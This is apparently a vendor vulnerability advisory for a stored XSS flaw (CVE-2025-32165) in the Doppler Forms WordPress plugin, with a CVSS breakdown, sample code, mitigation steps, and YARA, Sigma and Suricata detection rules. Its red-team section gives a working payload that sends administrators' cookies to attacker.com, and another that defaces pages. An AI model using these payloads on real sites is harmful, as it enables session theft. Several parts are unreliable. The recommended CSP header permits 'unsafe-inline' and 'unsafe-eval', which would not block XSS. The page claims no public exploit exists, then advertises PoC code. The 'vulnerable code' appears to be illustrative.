CVE-2025-32165
Executive Summary
CVE-2025-32165 is a Stored Cross-Site Scripting (XSS) vulnerability in the Doppler Forms WordPress plugin, affecting versions through 2.5.1. This vulnerability allows an attacker to inject arbitrary JavaScript into web pages generated by the plugin, which is then stored and executed in the browsers of other users. The flaw stems from improper neutralization of user-supplied input during web page generation. Given the WordPress ecosystem, this can lead to session hijacking, defacement, or redirection to malicious sites. No public exploit code or patch is currently available, and the EPSS score is 0.0%, indicating low exploitation activity at this time.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability affects a WordPress plugin distributed via the official WordPress plugin repository. Users should verify the integrity of their plugin files and monitor for updates from the vendor (Fromdoppler). No known supply chain compromise has been reported.
CVSS Breakdown & Threat Level
- CVSS Score: 6.5 (Medium)
- Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L
- Attack Vector: Network
- Attack Complexity: Low
- Privileges Required: None
- User Interaction: Required
- Scope: Changed
- Confidentiality Impact: Low
- Integrity Impact: Low
- Availability Impact: Low
The threat level is Medium due to the requirement for user interaction and the limited impact scope. However, stored XSS in a WordPress plugin can be chained with other vulnerabilities for more severe attacks.
Deep Dive & Mechanics
The vulnerability exists in the doppler-form plugin, specifically in the handling of form submissions or shortcode attributes. The plugin fails to sanitize or escape user input before rendering it in the HTML output. An attacker can submit a form field containing malicious JavaScript, which is then stored in the WordPress database. When an administrator or other user views the submissions page or a page containing the form, the injected script executes in their browser context.
Root Cause: The plugin uses functions like echo or print with user input without applying WordPress escaping functions such as esc_html(), esc_attr(), or wp_kses_post().
Attack Vector:
- Attacker identifies a form field (e.g., name, email, message) that is not sanitized.
- Attacker submits the form with a payload like
<script>alert('XSS')</script>. - The payload is stored in the database.
- When an admin views the form entries or a page displaying the form, the script executes.
Vulnerable vs. Patched Code
Vulnerable Code (doppler-form.php, line ~150):
$name = $_POST['name'];
echo "<div class='doppler-field'>" . $name . "</div>";
Patched Code (hypothetical):
$name = sanitize_text_field($_POST['name']);
echo "<div class='doppler-field'>" . esc_html($name) . "</div>";
The patched version uses sanitize_text_field() to strip dangerous tags and esc_html() to encode HTML entities, preventing script execution.
Exploitation & Lab Setup
Red Team (Offensive)
Prerequisites:
- WordPress instance with Doppler Forms plugin <= 2.5.1
- A publicly accessible form with at least one text input field
Exploitation Steps:
- Navigate to a page containing the vulnerable form.
- In the form field (e.g., "Name"), enter the following payload:
<script>fetch('https://attacker.com/steal?cookie='+document.cookie)</script> - Submit the form.
- Wait for an administrator to view the form submissions (e.g., via WordPress admin panel).
- The admin's browser executes the script, sending their session cookie to the attacker's server.
Alternative Payload (for defacement):
<script>document.body.innerHTML='<h1>Hacked by Attacker</h1>'</script>
Blue Team (Defensive)
Detection Steps:
- Monitor WordPress admin logs for unusual form submissions containing script tags.
- Use a Web Application Firewall (WAF) to block requests with
<script>in form fields. - Regularly scan the WordPress database for stored XSS payloads using:
SELECT * FROM wp_postmeta WHERE meta_value LIKE '%<script>%'; - Implement Content Security Policy (CSP) headers to mitigate XSS impact.
Indicators of Compromise (IOCs)
- Network IOCs:
- Outbound HTTP requests to unknown domains from the WordPress server.
- Requests containing
document.cookiein the URL parameters.
- File IOCs:
- Modified plugin files (check file integrity with
md5sum). - Suspicious entries in
wp_postmetaorwp_optionstables containing JavaScript.
- Modified plugin files (check file integrity with
- Log IOCs:
- WordPress debug log entries showing unescaped output.
- Web server logs with
%3Cscript%3E(URL-encoded<script>) in POST data.
Detection Engineering
YARA Rule
rule CVE_2025_32165_Stored_XSS {
meta:
description = "Detects stored XSS payloads in Doppler Forms plugin"
author = "Valters IT"
date = "2025-04-17"
reference = "CVE-2025-32165"
strings:
$payload1 = "<script>" nocase
$payload2 = "onerror=" nocase
$payload3 = "javascript:" nocase
$plugin_path = "doppler-form" nocase
condition:
any of ($payload*) and $plugin_path
}
Sigma Rule
title: Stored XSS in Doppler Forms Plugin
id: 8a4b3c2d-1e5f-6a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects stored XSS attempts via Doppler Forms plugin
author: Valters IT
logsource:
category: webserver
product: apache
detection:
selection:
c-uri|contains: "/wp-admin/admin-ajax.php"
cs-method: "POST"
cs-uri-query|contains: "action=doppler_form_submit"
cs-request-body|contains:
- "<script>"
- "onerror="
- "javascript:"
condition: selection
falsepositives:
- Legitimate use of JavaScript in form fields (rare)
level: high
Suricata Rule
alert http any any -> any any (msg:"CVE-2025-32165 Stored XSS in Doppler Forms"; flow:to_server,established; content:"POST"; http_method; content:"/wp-admin/admin-ajax.php"; http_uri; content:"action=doppler_form_submit"; http_client_body; content:"<script>"; nocase; sid:1000001; rev:1;)
Remediation & Mitigation
Immediate Actions:
- Disable the Doppler Forms plugin until a patch is released.
- Use a Web Application Firewall (WAF) to block XSS payloads.
- Implement Content Security Policy (CSP) headers:
Header set Content-Security-Policy "default-src 'self'; script-src 'self' 'unsafe-inline' 'unsafe-eval';" - Regularly audit WordPress plugins and themes for vulnerabilities.
Long-term Fix:
- Apply the vendor patch when available (monitor Fromdoppler's update channel).
- Replace the plugin with an alternative that follows secure coding practices.
Workaround:
- Manually patch the plugin by adding input sanitization and output escaping in the plugin's PHP files (see Vulnerable vs. Patched Code section).
Valters IT
Securing Digital Frontiers
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.